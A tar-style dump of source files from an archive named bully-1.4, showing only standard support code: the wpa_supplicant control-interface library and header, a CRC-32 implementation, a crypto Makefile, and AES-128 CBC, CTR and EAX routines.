ctrl->pipe = CreateFile(name, GENERIC_READ | GENERIC_WRITE, 0,
NULL, OPEN_EXISTING, 0, NULL);
/*
* Current named pipe server side in wpa_supplicant is
* re-opening the pipe for new clients only after the previous
* one is taken into use. This leaves a small window for race
* conditions when two connections are being opened at almost
* the same time. Retry if that was the case.
*/
if (ctrl->pipe != INVALID_HANDLE_VALUE ||
GetLastError() != ERROR_PIPE_BUSY)
break;
WaitNamedPipe(name, 1000);
}
if (ctrl->pipe == INVALID_HANDLE_VALUE) {
os_free(ctrl);
return NULL;
}
mode = PIPE_READMODE_MESSAGE;
if (!SetNamedPipeHandleState(ctrl->pipe, &mode, NULL, NULL)) {
CloseHandle(ctrl->pipe);
os_free(ctrl);
return NULL;
}
return ctrl;
}
void wpa_ctrl_close(struct wpa_ctrl *ctrl)
{
CloseHandle(ctrl->pipe);
os_free(ctrl);
}
int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len,
char *reply, size_t *reply_len,
void (*msg_cb)(char *msg, size_t len))
{
DWORD written;
DWORD readlen = *reply_len;
if (!WriteFile(ctrl->pipe, cmd, cmd_len, &written, NULL))
return -1;
if (!ReadFile(ctrl->pipe, reply, *reply_len, &readlen, NULL))
return -1;
*reply_len = readlen;
return 0;
}
int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len)
{
DWORD len = *reply_len;
if (!ReadFile(ctrl->pipe, reply, *reply_len, &len, NULL))
return -1;
*reply_len = len;
return 0;
}
int wpa_ctrl_pending(struct wpa_ctrl *ctrl)
{
DWORD left;
if (!PeekNamedPipe(ctrl->pipe, NULL, 0, NULL, &left, NULL))
return -1;
return left ? 1 : 0;
}
int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl)
{
return -1;
}
#endif /* CONFIG_CTRL_IFACE_NAMED_PIPE */
#endif /* CONFIG_CTRL_IFACE */
bully-1.4-00/src/common/wpa_ctrl.h 0000775 0000000 0000000 00000022630 13615304636 0017002 0 ustar 00root root 0000000 0000000 /*
* wpa_supplicant/hostapd control interface library
* Copyright (c) 2004-2006, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef WPA_CTRL_H
#define WPA_CTRL_H
#ifdef __cplusplus
extern "C" {
#endif
/* wpa_supplicant control interface - fixed message prefixes */
/** Interactive request for identity/password/pin */
#define WPA_CTRL_REQ "CTRL-REQ-"
/** Response to identity/password/pin request */
#define WPA_CTRL_RSP "CTRL-RSP-"
/* Event messages with fixed prefix */
/** Authentication completed successfully and data connection enabled */
#define WPA_EVENT_CONNECTED "CTRL-EVENT-CONNECTED "
/** Disconnected, data connection is not available */
#define WPA_EVENT_DISCONNECTED "CTRL-EVENT-DISCONNECTED "
/** wpa_supplicant is exiting */
#define WPA_EVENT_TERMINATING "CTRL-EVENT-TERMINATING "
/** Password change was completed successfully */
#define WPA_EVENT_PASSWORD_CHANGED "CTRL-EVENT-PASSWORD-CHANGED "
/** EAP-Request/Notification received */
#define WPA_EVENT_EAP_NOTIFICATION "CTRL-EVENT-EAP-NOTIFICATION "
/** EAP authentication started (EAP-Request/Identity received) */
#define WPA_EVENT_EAP_STARTED "CTRL-EVENT-EAP-STARTED "
/** EAP method proposed by the server */
#define WPA_EVENT_EAP_PROPOSED_METHOD "CTRL-EVENT-EAP-PROPOSED-METHOD "
/** EAP method selected */
#define WPA_EVENT_EAP_METHOD "CTRL-EVENT-EAP-METHOD "
/** EAP peer certificate from TLS */
#define WPA_EVENT_EAP_PEER_CERT "CTRL-EVENT-EAP-PEER-CERT "
/** EAP TLS certificate chain validation error */
#define WPA_EVENT_EAP_TLS_CERT_ERROR "CTRL-EVENT-EAP-TLS-CERT-ERROR "
/** EAP authentication completed successfully */
#define WPA_EVENT_EAP_SUCCESS "CTRL-EVENT-EAP-SUCCESS "
/** EAP authentication failed (EAP-Failure received) */
#define WPA_EVENT_EAP_FAILURE "CTRL-EVENT-EAP-FAILURE "
/** New scan results available */
#define WPA_EVENT_SCAN_RESULTS "CTRL-EVENT-SCAN-RESULTS "
/** A new BSS entry was added (followed by BSS entry id and BSSID) */
#define WPA_EVENT_BSS_ADDED "CTRL-EVENT-BSS-ADDED "
/** A BSS entry was removed (followed by BSS entry id and BSSID) */
#define WPA_EVENT_BSS_REMOVED "CTRL-EVENT-BSS-REMOVED "
/** WPS overlap detected in PBC mode */
#define WPS_EVENT_OVERLAP "WPS-OVERLAP-DETECTED "
/** Available WPS AP with active PBC found in scan results */
#define WPS_EVENT_AP_AVAILABLE_PBC "WPS-AP-AVAILABLE-PBC "
/** Available WPS AP with recently selected PIN registrar found in scan results
*/
#define WPS_EVENT_AP_AVAILABLE_PIN "WPS-AP-AVAILABLE-PIN "
/** Available WPS AP found in scan results */
#define WPS_EVENT_AP_AVAILABLE "WPS-AP-AVAILABLE "
/** A new credential received */
#define WPS_EVENT_CRED_RECEIVED "WPS-CRED-RECEIVED "
/** M2D received */
#define WPS_EVENT_M2D "WPS-M2D "
/** WPS registration failed after M2/M2D */
#define WPS_EVENT_FAIL "WPS-FAIL "
/** WPS registration completed successfully */
#define WPS_EVENT_SUCCESS "WPS-SUCCESS "
/** WPS enrollment attempt timed out and was terminated */
#define WPS_EVENT_TIMEOUT "WPS-TIMEOUT "
#define WPS_EVENT_ENROLLEE_SEEN "WPS-ENROLLEE-SEEN "
/* WPS ER events */
#define WPS_EVENT_ER_AP_ADD "WPS-ER-AP-ADD "
#define WPS_EVENT_ER_AP_REMOVE "WPS-ER-AP-REMOVE "
#define WPS_EVENT_ER_ENROLLEE_ADD "WPS-ER-ENROLLEE-ADD "
#define WPS_EVENT_ER_ENROLLEE_REMOVE "WPS-ER-ENROLLEE-REMOVE "
/* hostapd control interface - fixed message prefixes */
#define WPS_EVENT_PIN_NEEDED "WPS-PIN-NEEDED "
#define WPS_EVENT_NEW_AP_SETTINGS "WPS-NEW-AP-SETTINGS "
#define WPS_EVENT_REG_SUCCESS "WPS-REG-SUCCESS "
#define WPS_EVENT_AP_SETUP_LOCKED "WPS-AP-SETUP-LOCKED "
#define WPS_EVENT_AP_SETUP_UNLOCKED "WPS-AP-SETUP-UNLOCKED "
#define WPS_EVENT_AP_PIN_ENABLED "WPS-AP-PIN-ENABLED "
#define WPS_EVENT_AP_PIN_DISABLED "WPS-AP-PIN-DISABLED "
#define AP_STA_CONNECTED "AP-STA-CONNECTED "
#define AP_STA_DISCONNECTED "AP-STA-DISCONNECTED "
/* wpa_supplicant/hostapd control interface access */
/**
* wpa_ctrl_open - Open a control interface to wpa_supplicant/hostapd
* @ctrl_path: Path for UNIX domain sockets; ignored if UDP sockets are used.
* Returns: Pointer to abstract control interface data or %NULL on failure
*
* This function is used to open a control interface to wpa_supplicant/hostapd.
* ctrl_path is usually /var/run/wpa_supplicant or /var/run/hostapd. This path
* is configured in wpa_supplicant/hostapd and other programs using the control
* interface need to use matching path configuration.
*/
struct wpa_ctrl * wpa_ctrl_open(const char *ctrl_path);
/**
* wpa_ctrl_close - Close a control interface to wpa_supplicant/hostapd
* @ctrl: Control interface data from wpa_ctrl_open()
*
* This function is used to close a control interface.
*/
void wpa_ctrl_close(struct wpa_ctrl *ctrl);
/**
* wpa_ctrl_request - Send a command to wpa_supplicant/hostapd
* @ctrl: Control interface data from wpa_ctrl_open()
* @cmd: Command; usually, ASCII text, e.g., "PING"
* @cmd_len: Length of the cmd in bytes
* @reply: Buffer for the response
* @reply_len: Reply buffer length
* @msg_cb: Callback function for unsolicited messages or %NULL if not used
* Returns: 0 on success, -1 on error (send or receive failed), -2 on timeout
*
* This function is used to send commands to wpa_supplicant/hostapd. Received
* response will be written to reply and reply_len is set to the actual length
* of the reply. This function will block for up to two seconds while waiting
* for the reply. If unsolicited messages are received, the blocking time may
* be longer.
*
* msg_cb can be used to register a callback function that will be called for
* unsolicited messages received while waiting for the command response. These
* messages may be received if wpa_ctrl_request() is called at the same time as
* wpa_supplicant/hostapd is sending such a message. This can happen only if
* the program has used wpa_ctrl_attach() to register itself as a monitor for
* event messages. Alternatively to msg_cb, programs can register two control
* interface connections and use one of them for commands and the other one for
* receiving event messages, in other words, call wpa_ctrl_attach() only for
* the control interface connection that will be used for event messages.
*/
int wpa_ctrl_request(struct wpa_ctrl *ctrl, const char *cmd, size_t cmd_len,
char *reply, size_t *reply_len,
void (*msg_cb)(char *msg, size_t len));
/**
* wpa_ctrl_attach - Register as an event monitor for the control interface
* @ctrl: Control interface data from wpa_ctrl_open()
* Returns: 0 on success, -1 on failure, -2 on timeout
*
* This function registers the control interface connection as a monitor for
* wpa_supplicant/hostapd events. After a success wpa_ctrl_attach() call, the
* control interface connection starts receiving event messages that can be
* read with wpa_ctrl_recv().
*/
int wpa_ctrl_attach(struct wpa_ctrl *ctrl);
/**
* wpa_ctrl_detach - Unregister event monitor from the control interface
* @ctrl: Control interface data from wpa_ctrl_open()
* Returns: 0 on success, -1 on failure, -2 on timeout
*
* This function unregisters the control interface connection as a monitor for
* wpa_supplicant/hostapd events, i.e., cancels the registration done with
* wpa_ctrl_attach().
*/
int wpa_ctrl_detach(struct wpa_ctrl *ctrl);
/**
* wpa_ctrl_recv - Receive a pending control interface message
* @ctrl: Control interface data from wpa_ctrl_open()
* @reply: Buffer for the message data
* @reply_len: Length of the reply buffer
* Returns: 0 on success, -1 on failure
*
* This function will receive a pending control interface message. This
* function will block if no messages are available. The received response will
* be written to reply and reply_len is set to the actual length of the reply.
* wpa_ctrl_recv() is only used for event messages, i.e., wpa_ctrl_attach()
* must have been used to register the control interface as an event monitor.
*/
int wpa_ctrl_recv(struct wpa_ctrl *ctrl, char *reply, size_t *reply_len);
/**
* wpa_ctrl_pending - Check whether there are pending event messages
* @ctrl: Control interface data from wpa_ctrl_open()
* Returns: 1 if there are pending messages, 0 if no, or -1 on error
*
* This function will check whether there are any pending control interface
* message available to be received with wpa_ctrl_recv(). wpa_ctrl_pending() is
* only used for event messages, i.e., wpa_ctrl_attach() must have been used to
* register the control interface as an event monitor.
*/
int wpa_ctrl_pending(struct wpa_ctrl *ctrl);
/**
* wpa_ctrl_get_fd - Get file descriptor used by the control interface
* @ctrl: Control interface data from wpa_ctrl_open()
* Returns: File descriptor used for the connection
*
* This function can be used to get the file descriptor that is used for the
* control interface connection. The returned value can be used, e.g., with
* select() while waiting for multiple events.
*
* The returned file descriptor must not be used directly for sending or
* receiving packets; instead, the library functions wpa_ctrl_request() and
* wpa_ctrl_recv() must be used for this.
*/
int wpa_ctrl_get_fd(struct wpa_ctrl *ctrl);
#ifdef CONFIG_CTRL_IFACE_UDP
#define WPA_CTRL_IFACE_PORT 9877
#define WPA_GLOBAL_CTRL_IFACE_PORT 9878
#endif /* CONFIG_CTRL_IFACE_UDP */
#ifdef __cplusplus
}
#endif
#endif /* WPA_CTRL_H */
bully-1.4-00/src/crc32.c 0000775 0000000 0000000 00000016222 13615304636 0014606 0 ustar 00root root 0000000 0000000 /**********************************************************************\
|* Demonstration program to compute the 32-bit CRC used as the frame *|
|* check sequence in ADCCP (ANSI X3.66, also known as FIPS PUB 71 *|
|* and FED-STD-1003, the U.S. versions of CCITT's X.25 link-level *|
|* protocol). The 32-bit FCS was added via the Federal Register, *|
|* 1 June 1982, p.23798. I presume but don't know for certain that *|
|* this polynomial is or will be included in CCITT V.41, which *|
|* defines the 16-bit CRC (often called CRC-CCITT) polynomial. FIPS *|
|* PUB 78 says that the 32-bit FCS reduces otherwise undetected *|
|* errors by a factor of 10^-5 over 16-bit FCS. *|
\**********************************************************************/
/* Copyright (C) 1986 Gary S. Brown. You may use this program, or
code or tables extracted from it, as desired without restriction.*/
/* First, the polynomial itself and its table of feedback terms. The */
/* polynomial is */
/* X^32+X^26+X^23+X^22+X^16+X^12+X^11+X^10+X^8+X^7+X^5+X^4+X^2+X^1+X^0 */
/* Note that we take it "backwards" and put the highest-order term in */
/* the lowest-order bit. The X^32 term is "implied"; the LSB is the */
/* X^31 term, etc. The X^0 term (usually shown as "+1") results in */
/* the MSB being 1. */
/* Note that the usual hardware shift register implementation, which */
/* is what we're using (we're merely optimizing it by doing eight-bit */
/* chunks at a time) shifts bits into the lowest-order term. In our */
/* implementation, that means shifting towards the right. Why do we */
/* do it this way? Because the calculated CRC must be transmitted in */
/* order from highest-order term to lowest-order term. UARTs transmit */
/* characters in order from LSB to MSB. By storing the CRC this way, */
/* we hand it to the UART in the order low-byte to high-byte; the UART */
/* sends each low-bit to hight-bit; and the result is transmission bit */
/* by bit from highest- to lowest-order term without requiring any bit */
/* shuffling on our part. Reception works similarly. */
/* The feedback terms table consists of 256, 32-bit entries. Notes: */
/* */
/* 1. The table can be generated at runtime if desired; code to do so */
/* is shown later. It might not be obvious, but the feedback */
/* terms simply represent the results of eight shift/xor opera- */
/* tions for all combinations of data and CRC register values. */
/* */
/* 2. The CRC accumulation logic is the same for all CRC polynomials, */
/* be they sixteen or thirty-two bits wide. You simply choose the */
/* appropriate table. Alternatively, because the table can be */
/* generated at runtime, you can start by generating the table for */
/* the polynomial in question and use exactly the same "updcrc", */
/* if your application needn't simultaneously handle two CRC */
/* polynomials. (Note, however, that XMODEM is strange.) */
/* */
/* 3. For 16-bit CRCs, the table entries need be only 16 bits wide; */
/* of course, 32-bit entries work OK if the high 16 bits are zero. */
/* */
/* 4. The values must be right-shifted by eight bits by the "updcrc" */
/* logic; the shift must be unsigned (bring in zeroes). On some */
/* hardware you could probably optimize the shift in assembler by */
/* using byte-swap instructions. */
static const uint32_t crc_32_tab[] = { /* CRC polynomial 0xedb88320 */
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f,
0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988,
0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2,
0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7,
0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172,
0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c,
0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59,
0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423,
0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106,
0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d,
0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7,
0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa,
0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81,
0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84,
0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e,
0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55,
0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28,
0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f,
0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69,
0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc,
0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693,
0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d
};
#define UPDC32(octet,crc) (crc_32_tab[((crc) ^ (octet)) & 0xff] ^ ((crc) >> 8))
uint32_t crc32(char *buf, size_t len)
{
uint32_t crc = 0xFFFFFFFF;
for ( ; len; --len, ++buf)
{
crc = UPDC32(*buf, crc);
}
return crc;
}
bully-1.4-00/src/crypto/ 0000775 0000000 0000000 00000000000 13615304636 0015040 5 ustar 00root root 0000000 0000000 bully-1.4-00/src/crypto/.gitignore 0000664 0000000 0000000 00000000014 13615304636 0017023 0 ustar 00root root 0000000 0000000 libcrypto.a
bully-1.4-00/src/crypto/Makefile 0000775 0000000 0000000 00000001633 13615304636 0016506 0 ustar 00root root 0000000 0000000 all: libcrypto.a
clean:
rm -f *~ *.o *.d libcrypto.a
install:
@echo Nothing to be made.
include ../lib.rules
CFLAGS += -DCONFIG_TLS_INTERNAL_CLIENT
CFLAGS += -DCONFIG_TLS_INTERNAL_SERVER
#CFLAGS += -DALL_DH_GROUPS
LIB_OBJS= \
aes-cbc.o \
aes-ctr.o \
aes-eax.o \
aes-encblock.o \
aes-internal.o \
aes-internal-dec.o \
aes-internal-enc.o \
aes-omac1.o \
aes-unwrap.o \
aes-wrap.o \
des-internal.o \
dh_group5.o \
dh_groups.o \
md4-internal.o \
md5.o \
md5-internal.o \
md5-non-fips.o \
milenage.o \
ms_funcs.o \
rc4.o \
sha1.o \
sha1-internal.o \
sha1-pbkdf2.o \
sha1-tlsprf.o \
sha1-tprf.o \
sha256.o \
sha256-internal.o
LIB_OBJS += crypto_internal.o
LIB_OBJS += crypto_internal-cipher.o
LIB_OBJS += crypto_internal-modexp.o
LIB_OBJS += crypto_internal-rsa.o
LIB_OBJS += tls_internal.o
LIB_OBJS += fips_prf_internal.o
libcrypto.a: $(LIB_OBJS)
$(AR) crT $@ $?
-include $(OBJS:%.o=%.d)
bully-1.4-00/src/crypto/aes-cbc.c 0000775 0000000 0000000 00000004117 13615304636 0016507 0 ustar 00root root 0000000 0000000 /*
* AES-128 CBC
*
* Copyright (c) 2003-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "aes.h"
#include "aes_wrap.h"
/**
* aes_128_cbc_encrypt - AES-128 CBC encryption
* @key: Encryption key
* @iv: Encryption IV for CBC mode (16 bytes)
* @data: Data to encrypt in-place
* @data_len: Length of data in bytes (must be divisible by 16)
* Returns: 0 on success, -1 on failure
*/
int aes_128_cbc_encrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len)
{
void *ctx;
u8 cbc[AES_BLOCK_SIZE];
u8 *pos = data;
int i, j, blocks;
ctx = aes_encrypt_init(key, 16);
if (ctx == NULL)
return -1;
os_memcpy(cbc, iv, AES_BLOCK_SIZE);
blocks = data_len / AES_BLOCK_SIZE;
for (i = 0; i < blocks; i++) {
for (j = 0; j < AES_BLOCK_SIZE; j++)
cbc[j] ^= pos[j];
aes_encrypt(ctx, cbc, cbc);
os_memcpy(pos, cbc, AES_BLOCK_SIZE);
pos += AES_BLOCK_SIZE;
}
aes_encrypt_deinit(ctx);
return 0;
}
/**
* aes_128_cbc_decrypt - AES-128 CBC decryption
* @key: Decryption key
* @iv: Decryption IV for CBC mode (16 bytes)
* @data: Data to decrypt in-place
* @data_len: Length of data in bytes (must be divisible by 16)
* Returns: 0 on success, -1 on failure
*/
int aes_128_cbc_decrypt(const u8 *key, const u8 *iv, u8 *data, size_t data_len)
{
void *ctx;
u8 cbc[AES_BLOCK_SIZE], tmp[AES_BLOCK_SIZE];
u8 *pos = data;
int i, j, blocks;
ctx = aes_decrypt_init(key, 16);
if (ctx == NULL)
return -1;
os_memcpy(cbc, iv, AES_BLOCK_SIZE);
blocks = data_len / AES_BLOCK_SIZE;
for (i = 0; i < blocks; i++) {
os_memcpy(tmp, pos, AES_BLOCK_SIZE);
aes_decrypt(ctx, pos, pos);
for (j = 0; j < AES_BLOCK_SIZE; j++)
pos[j] ^= cbc[j];
os_memcpy(cbc, tmp, AES_BLOCK_SIZE);
pos += AES_BLOCK_SIZE;
}
aes_decrypt_deinit(ctx);
return 0;
}
bully-1.4-00/src/crypto/aes-ctr.c 0000775 0000000 0000000 00000002562 13615304636 0016552 0 ustar 00root root 0000000 0000000 /*
* AES-128 CTR
*
* Copyright (c) 2003-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "aes.h"
#include "aes_wrap.h"
/**
* aes_128_ctr_encrypt - AES-128 CTR mode encryption
* @key: Key for encryption (16 bytes)
* @nonce: Nonce for counter mode (16 bytes)
* @data: Data to encrypt in-place
* @data_len: Length of data in bytes
* Returns: 0 on success, -1 on failure
*/
int aes_128_ctr_encrypt(const u8 *key, const u8 *nonce,
u8 *data, size_t data_len)
{
void *ctx;
size_t j, len, left = data_len;
int i;
u8 *pos = data;
u8 counter[AES_BLOCK_SIZE], buf[AES_BLOCK_SIZE];
ctx = aes_encrypt_init(key, 16);
if (ctx == NULL)
return -1;
os_memcpy(counter, nonce, AES_BLOCK_SIZE);
while (left > 0) {
aes_encrypt(ctx, counter, buf);
len = (left < AES_BLOCK_SIZE) ? left : AES_BLOCK_SIZE;
for (j = 0; j < len; j++)
pos[j] ^= buf[j];
pos += len;
left -= len;
for (i = AES_BLOCK_SIZE - 1; i >= 0; i--) {
counter[i]++;
if (counter[i])
break;
}
}
aes_encrypt_deinit(ctx);
return 0;
}
bully-1.4-00/src/crypto/aes-eax.c 0000775 0000000 0000000 00000006703 13615304636 0016540 0 ustar 00root root 0000000 0000000 /*
* AES-128 EAX
*
* Copyright (c) 2003-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "aes.h"
#include "aes_wrap.h"
/**
* aes_128_eax_encrypt - AES-128 EAX mode encryption
* @key: Key for encryption (16 bytes)
* @nonce: Nonce for counter mode
* @nonce_len: Nonce length in bytes
* @hdr: Header data to be authenticity protected
* @hdr_len: Length of the header data bytes
* @data: Data to encrypt in-place
* @data_len: Length of data in bytes
* @tag: 16-byte tag value
* Returns: 0 on success, -1 on failure
*/
int aes_128_eax_encrypt(const u8 *key, const u8 *nonce, size_t nonce_len,
const u8 *hdr, size_t hdr_len,
u8 *data, size_t data_len, u8 *tag)
{
u8 *buf;
size_t buf_len;
u8 nonce_mac[AES_BLOCK_SIZE], hdr_mac[AES_BLOCK_SIZE],
data_mac[AES_BLOCK_SIZE];
int i, ret = -1;
if (nonce_len > data_len)
buf_len = nonce_len;
else
buf_len = data_len;
if (hdr_len > buf_len)
buf_len = hdr_len;
buf_len += 16;
buf = os_malloc(buf_len);
if (buf == NULL)
return -1;
os_memset(buf, 0, 15);
buf[15] = 0;
os_memcpy(buf + 16, nonce, nonce_len);
if (omac1_aes_128(key, buf, 16 + nonce_len, nonce_mac))
goto fail;
buf[15] = 1;
os_memcpy(buf + 16, hdr, hdr_len);
if (omac1_aes_128(key, buf, 16 + hdr_len, hdr_mac))
goto fail;
if (aes_128_ctr_encrypt(key, nonce_mac, data, data_len))
goto fail;
buf[15] = 2;
os_memcpy(buf + 16, data, data_len);
if (omac1_aes_128(key, buf, 16 + data_len, data_mac))
goto fail;
for (i = 0; i < AES_BLOCK_SIZE; i++)
tag[i] = nonce_mac[i] ^ data_mac[i] ^ hdr_mac[i];
ret = 0;
fail:
os_free(buf);
return ret;
}
/**
* aes_128_eax_decrypt - AES-128 EAX mode decryption
* @key: Key for decryption (16 bytes)
* @nonce: Nonce for counter mode
* @nonce_len: Nonce length in bytes
* @hdr: Header data to be authenticity protected
* @hdr_len: Length of the header data bytes
* @data: Data to encrypt in-place
* @data_len: Length of data in bytes
* @tag: 16-byte tag value
* Returns: 0 on success, -1 on failure, -2 if tag does not match
*/
int aes_128_eax_decrypt(const u8 *key, const u8 *nonce, size_t nonce_len,
const u8 *hdr, size_t hdr_len,
u8 *data, size_t data_len, const u8 *tag)
{
u8 *buf;
size_t buf_len;
u8 nonce_mac[AES_BLOCK_SIZE], hdr_mac[AES_BLOCK_SIZE],
data_mac[AES_BLOCK_SIZE];
int i;
if (nonce_len > data_len)
buf_len = nonce_len;
else
buf_len = data_len;
if (hdr_len > buf_len)
buf_len = hdr_len;
buf_len += 16;
buf = os_malloc(buf_len);
if (buf == NULL)
return -1;
os_memset(buf, 0, 15);
buf[15] = 0;
os_memcpy(buf + 16, nonce, nonce_len);
if (omac1_aes_128(key, buf, 16 + nonce_len, nonce_mac)) {
os_free(buf);
return -1;
}
buf[15] = 1;
os_memcpy(buf + 16, hdr, hdr_len);
if (omac1_aes_128(key, buf, 16 + hdr_len, hdr_mac)) {
os_free(buf);
return -1;
}
buf[15] = 2;
os_memcpy(buf + 16, data, data_len);
if (omac1_aes_128(key, buf, 16 + data_len, data_mac)) {
os_free(buf);
return -1;
}
os_free(buf);
for (i = 0; i < AES_BLOCK_SIZE; i++) {
if (tag[i] != (nonce_mac[i] ^ data_mac[i] ^ hdr_mac[i]))
return -2;
}
return aes_128_ctr_encrypt(key, nonce_mac, data, data_len);
}
bully-1.4-00/src/crypto/aes-encblock.c 0000775 0000000 0000000 00000001633 13615304636 0017540 0 ustar 00root root 0000000 0000000 /*
* AES encrypt_block
*
* Copyright (c) 2003-2007, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#include "includes.h"
#include "common.h"
#include "aes.h"
#include "aes_wrap.h"
/**
* aes_128_encrypt_block - Perform one AES 128-bit block operation
* @key: Key for AES
* @in: Input data (16 bytes)
* @out: Output of the AES block operation (16 bytes)
* Returns: 0 on success, -1 on failure
*/
int aes_128_encrypt_block(const u8 *key, const u8 *in, u8 *out)
{
void *ctx;
ctx = aes_encrypt_init(key, 16);
if (ctx == NULL)
return -1;
aes_encrypt(ctx, in, out);
aes_encrypt_deinit(ctx);
return 0;
}
bully-1.4-00/src/crypto/aes-internal-dec.c 0000775 0000000 0000000 00000007151 13615304636 0020326 0 ustar 00root root 0000000 0000000 /*
* AES (Rijndael) cipher - decrypt
*
* Modifications to public domain implementation:
* - support only 128-bit keys
* - cleanup
* - use C pre-processor to make it easier to change S table access
* - added option (AES_SMALL_TABLES) for reducing code size by about 8 kB at
* cost of reduced throughput (quite small difference on Pentium 4,
* 10-25% when using -O1 or -O2 optimization)
*
* Copyright (c) 2003-2005, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
